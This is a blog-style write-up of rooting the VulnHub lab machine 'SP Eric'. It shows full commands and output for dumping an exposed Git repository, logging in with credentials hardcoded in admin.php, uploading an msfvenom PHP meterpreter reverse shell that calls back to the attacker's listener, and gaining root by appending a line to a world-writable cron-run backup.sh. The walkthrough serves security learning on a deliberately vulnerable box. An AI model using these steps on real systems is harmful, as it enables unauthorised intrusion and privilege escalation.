VulnHub: SP Eric

2020/02/09

Tags: git ssh msfvenom metasploit

This weekend I managed to fully root a VulnHub box without looking at another person’s write-up for a hint, for the first time! This box was created by Daniel Solstad and can be downloaded here. Here’s my write-up.

Write-up

The description for this box states:

Eric is trying to reach out on the Internet, but is he following best practice?
Flags:
- /root/flag.txt
- /home/eric/flag.txt

Once I had Eric set up and running I ran a port scan:

kali@kali~/Documents/vulnhub/eric$ nmap -sC -sV -o nmap 10.0.2.17
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-08 16:13 EST
Nmap scan report for 10.0.2.17
Host is up (0.00038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d3:79:15:3d:11:4c:af:26:6c:b2:af:6a:0b:99:14:fd (RSA)
|   256 87:48:76:38:81:c2:a0:50:cd:4c:39:c0:7c:7a:07:40 (ECDSA)
|_  256 8e:b9:dd:8d:14:9b:e3:63:1d:d7:0e:54:98:8d:29:5b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-git: 
|   10.0.2.17:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: minor changes 
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Blog under construction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 was exposed and Nmap also found a Git repository under 10.0.2.17:80/.git/. Before I interrogated the git repository I took a look at what was running port 80.

Viewing the source confirmed this was just some static placeholder content.

It was time to take a look at that Git repo. Heading over to 10.0.2.17/.git gave me a 403 so I did some research and came across of set of useful scripts, one of which “can be used to download as much as possible from the found .git repository from webservers which do not have directory listing enabled”. I cloned the repo and ran the script:

kali@kali:~/Documents/vulnhub/eric$ /opt/GitTools/Dumper/./gitdumper.sh http://10.0.2.17/.git/ git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating git/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/3d/b5628b550f5c9c9f6f663cd158374035a6eaa0
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/cc/1ab96950f56d1fff0d1f006821cab6b6b0e249
[+] Downloaded: objects/a8/9a716b3c21d8f9fee38a0693afb22c75f1d31c
[+] Downloaded: objects/31/33d44be3eebe6c6761b50c6fdf5b7fb664c2d8
[+] Downloaded: objects/3d/8e9ce9093fc391845dd69b0436b258ac4a6387
[+] Downloaded: objects/f0/d95f54335626ce6c96522e0a9105780b3366c5
[+] Downloaded: objects/c0/951efcb330fc310911d714acf03b873aa9ab43
[+] Downloaded: objects/23/448969d5b347f8e91f8017b4d8ef6edf6161d8
[+] Downloaded: objects/e7/ba67226cda1ecc1bd3a2537f0be94343d448bb

Running git status in the dumped repository showed two files: admin.php and index.php.

kali@kali:~/Documents/vulnhub/eric/git$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    admin.php
        deleted:    index.php

no changes added to commit (use "git add" and/or "git commit -a")

Running git reset --hard put the repo into a clean working state. I looked inside admin.php and found some useful information:

kali@kali:~/Documents/vulnhub/eric/git$ cat admin.php 
<?php

ob_start();
session_start();

if ($_POST['submit']) {
    if ($_POST['username'] == 'admin' && $_POST['password'] == 'st@mpch0rdt.ightiRu$glo0mappL3') {
        $_SESSION['auth'] = 1;
    } else {
        exit("Wrong username and/or password. Don't even bother bruteforcing.");
    }
}

// Todo: Make sure it is only allowed to upload images.
if ($_POST['submit_post']) {
    if (move_uploaded_file($_FILES['image']['tmp_name'], 'upload/' . $_FILES['image']['name'])) {
    }
}
 
?>

<html>
<head>
<title>admin login</title>
</head>
<body>

<?php
if (!isset($_SESSION['auth'])) {
?>
<form action="admin.php" method="post">
<input name="username" type="text" placeholder="Username" />
<input name="password" type="password" placeholder="Password" /><br />
<input name="submit" type="submit" value="Login"/>
</form>

<?php
} else {
?>

<h1>Add new post (under construction)</h1>
<form action="admin.php" method="post" enctype="multipart/form-data">
<input name="post_title" type="text" placeholder="Title"><br />
<textarea name="post_body" cols="40" rows="3" placeholder="Body"></textarea><br />
<input name="image" type="file" placeholder="Image" /> 
<input type="submit" name="submit_post" value="Upload"/>
</form>

<h1>Add site to blogroll</h1>
<input name="blogroll_add" type="text"/><br/>
<input name="blogroll_submit" type="submit" value="add"/>

<?php
}
?>
</body>
</html>

The two things I noted were:

  1. Admin credentials hardcoded (admin:st@mpch0rdt.ightiRu$glo0mappL3)
  2. Some function to allow admin users to upload files to an upload directory.

Taking a look at admin.php in the browser presented me with a login form:

I logged in with the hardcoded credentials I found inside admin.php and was redirected to an admin UI:

Most of the screen was labelled “(under construction)” but reading the source code of admin.php made me think that the file upload mechanism was at least working. To quickly test this out I uploaded a test file (test.txt) that contained the string abc123. Clicking “Upload” didn’t return any noticeable errors so I had a look at 10.0.2.17/upload/test.txt and found my file’s contents.

Because Eric was capable of running and executing PHP, it was likely that I could set up a reverse shell by uploading a payload, executing it and listening out for the connection back from Eric.

The first step was to generate the payload, configuring the listening host to my machine’s IP and listening port to some arbitrary port that wasn’t used on my machine, in this case, 4000.

kali@kali:~/Documents/vulnhub/eric$ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.2.15 LPORT=4000 -o shell.php
/usr/share/rubygems-integration/all/gems/bundler-1.17.3/lib/bundler/rubygems_integration.rb:200: warning: constant Gem::ConfigMap is deprecated
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30685 bytes
Saved as: shell.php

The next step was to run the multi/handler exploit from msfconsole to listen out for the incoming connection from Eric:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LPORT 4000
LPORT => 4000
msf5 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf5 > run

The final step was to upload shell.php and to visit 10.0.2.17/upload/shell.php to execute the script. Once the script had executed I flipped back to msfconsole, saw that I had a connection and started poking around:

meterpreter > ls
Listing: /var/www/html/upload
=============================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  30685  fil   2020-02-08 17:04:35 -0500  shell.php
100644/rw-r--r--  7      fil   2020-02-08 16:51:39 -0500  test.txt

I had a look inside /etc/passwd and found a user named “eric”, as previously hinted at in the description for the box.

root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
...
eric❌1001:1001:,,,:/home/eric:/bin/bash
sshd❌106:65534::/run/sshd:/usr/sbin/nologin

Inside /home/eric I found the first flag:

meterpreter > cd /home/eric
meterpreter > ls -al
Listing: /home/eric
===================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100600/rw-------  81     fil   2018-12-23 12:02:47 -0500  .bash_history
100644/rw-r--r--  220    fil   2018-10-28 07:53:24 -0400  .bash_logout
100644/rw-r--r--  3771   fil   2018-10-28 07:53:24 -0400  .bashrc
40700/rwx------   4096   dir   2018-10-28 09:00:02 -0400  .cache
40775/rwxrwxr-x   4096   dir   2018-10-28 09:00:11 -0400  .local
100644/rw-r--r--  807    fil   2018-10-28 07:53:24 -0400  .profile
100644/rw-r--r--  0      fil   2018-10-28 09:26:18 -0400  .sudo_as_admin_successful
100777/rwxrwxrwx  93     fil   2018-10-28 09:27:43 -0500  backup.sh
100644/rw-r--r--  31239  fil   2020-02-09 09:57:01 -0500  backup.zip
100644/rw-r--r--  13     fil   2018-10-28 09:29:18 -0400  flag.txt

meterpreter > cat flag.txt
89340a834323

I also found an interesting couple of files: backup.sh and backup.zip. I didn’t know what .sudo_as_admin_successful was, but it didn’t have any content so I just left it. Looking inside backup.sh I found the following:

meterpreter > cat backup.sh
#!/bin/bash
zip -r /home/eric/backup.zip /var/www/html

Given the contents of backup.sh and the last modified date of backup.zip, one could presume that backup.sh is running on a cronjob periodically. At least, that’s what I presumed. I tried looking around for the running cronjob configuration but because I was running as user www-data and (again, presumably) the cronjob was set up on either root or eric I didn’t have permission to view the config. Either way, something somewhere was executing backup.sh every few minutes. I also noticed that backup.sh had all the perms, which meant I had permission to write to it.

I decided to set up another reverse shell, this time on port 7000, that would be initiated by backup.sh. I made a copy of the previously uploaded shell (located under /var/www/html/upload/shell.php) and changed the listening to 7000.

I added the following line to backup.sh so that when it was executed shell_7000.php would be executed and a reverse shell would be initiated:

php -f /var/www/html/upload/shell_7000.php

I went back to msfconsole and moved my current meterpreter session to the background, changed the listening port to 7000, and ran the listener again:

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > set LPORT 7000
LPORT => 7000
msf5 exploit(multi/handler) > run

After a few minutes a connection was initiated:

[*] Started reverse TCP handler on 10.0.2.15:7000 
[*] Meterpreter session 2 opened (10.0.2.15:7000 -> 10.0.2.17:55208)...

I dropped into a shell and found that I was running as the root user:

meterpreter > shell
Process 995 created.
Channel 0 created.
whoami
root

cat flag.txt
6a347b975dd18ae6497c
>> Home